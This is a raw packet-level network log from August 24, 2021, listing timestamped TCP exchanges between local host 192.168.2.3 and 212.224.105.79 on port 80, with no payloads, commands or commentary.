Aug 24, 2021 14:01:35.500824928 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500842094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500864029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500874996 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500883102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500902891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500910044 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500924110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500943899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500946045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.500963926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.500987053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501012087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501017094 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501034975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501055002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501075029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501075029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501095057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501113892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501120090 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501133919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501154900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501174927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501207113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501228094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501250982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501271009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501295090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501298904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501317024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501337051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501339912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501357079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501375914 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501377106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501395941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501416922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501419067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501436949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501460075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501461983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501518965 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501528978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501550913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501571894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501590967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501610994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501622915 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501631021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501652002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501662970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501676083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501693010 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.501698017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.501728058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502079964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502101898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502123117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502130985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502144098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502165079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502166986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502185106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502206087 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502212048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502233028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502252102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502253056 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502271891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502293110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502295971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502317905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502338886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502340078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502360106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502379894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502382994 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502399921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502418995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502419949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502439976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502460003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502463102 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502485991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502501011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502509117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502528906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502548933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502548933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502571106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502590895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502593040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502612114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502631903 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502631903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502657890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502674103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502680063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502700090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502721071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502722025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502743959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502763987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502768993 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502784967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502804995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502811909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502830029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502851009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502851009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502871990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502892017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502895117 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502912998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502931118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502933025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502954006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502974033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.502974033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.502999067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503015041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503021955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503041983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503062963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503082991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503091097 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503103018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503124952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503142118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503149033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503163099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503200054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503211021 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503223896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503245115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503266096 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503269911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503290892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503310919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503312111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503349066 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503384113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503407955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503428936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503448009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503458977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503468037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503487110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503489017 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503510952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503532887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.503532887 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.503583908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.504143953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504167080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504187107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504206896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504226923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504230976 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.504272938 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.504281044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504302025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504323959 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.504334927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504374027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.504395008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504441023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.504491091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.523730040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523760080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523776054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523792982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523808002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523828030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523844957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523861885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523869038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.523878098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523895979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523896933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.523901939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.523914099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523915052 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.523931026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523947954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523956060 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.523968935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.523988962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524000883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524005890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524024963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524040937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524049044 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524056911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524072886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524074078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524090052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524100065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524110079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524127007 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524161100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524164915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524184942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524200916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524236917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524277925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524296045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524312973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524328947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524328947 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524347067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524357080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524363041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524384022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524393082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524403095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524418116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524434090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524449110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524451017 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524466038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524482965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.524492979 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524545908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.524956942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.525840998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.525863886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.525950909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.525954008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.525973082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.525994062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526006937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526020050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526032925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526046038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526063919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526081085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526098013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526113987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526124954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526132107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526139975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526145935 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526149988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526149988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526156902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526173115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526175976 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526191950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526209116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526226044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526238918 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526242018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526259899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526272058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526278019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526295900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526304960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526318073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526320934 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526333094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526345015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526362896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526381016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526398897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526401997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526417017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526432991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526448965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526464939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526485920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526499987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526513100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526530981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526549101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526566029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526566029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526582003 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526582003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526587009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526590109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526592970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526596069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526599884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526602983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526621103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526634932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526638031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526659012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526667118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526678085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526695013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526701927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526711941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526727915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526740074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526745081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526762009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526778936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526787996 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526798964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526817083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526825905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526834011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526844978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526851892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526868105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526879072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.526884079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526897907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.526940107 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.527525902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527555943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527590990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527614117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527617931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.527631044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527653933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527654886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.527678013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527700901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527729034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.527767897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.527802944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527821064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.527858019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527878046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527894974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527905941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.527930975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.527950048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.528014898 CEST	80	49723	212.224.105.79	192.168.2.3
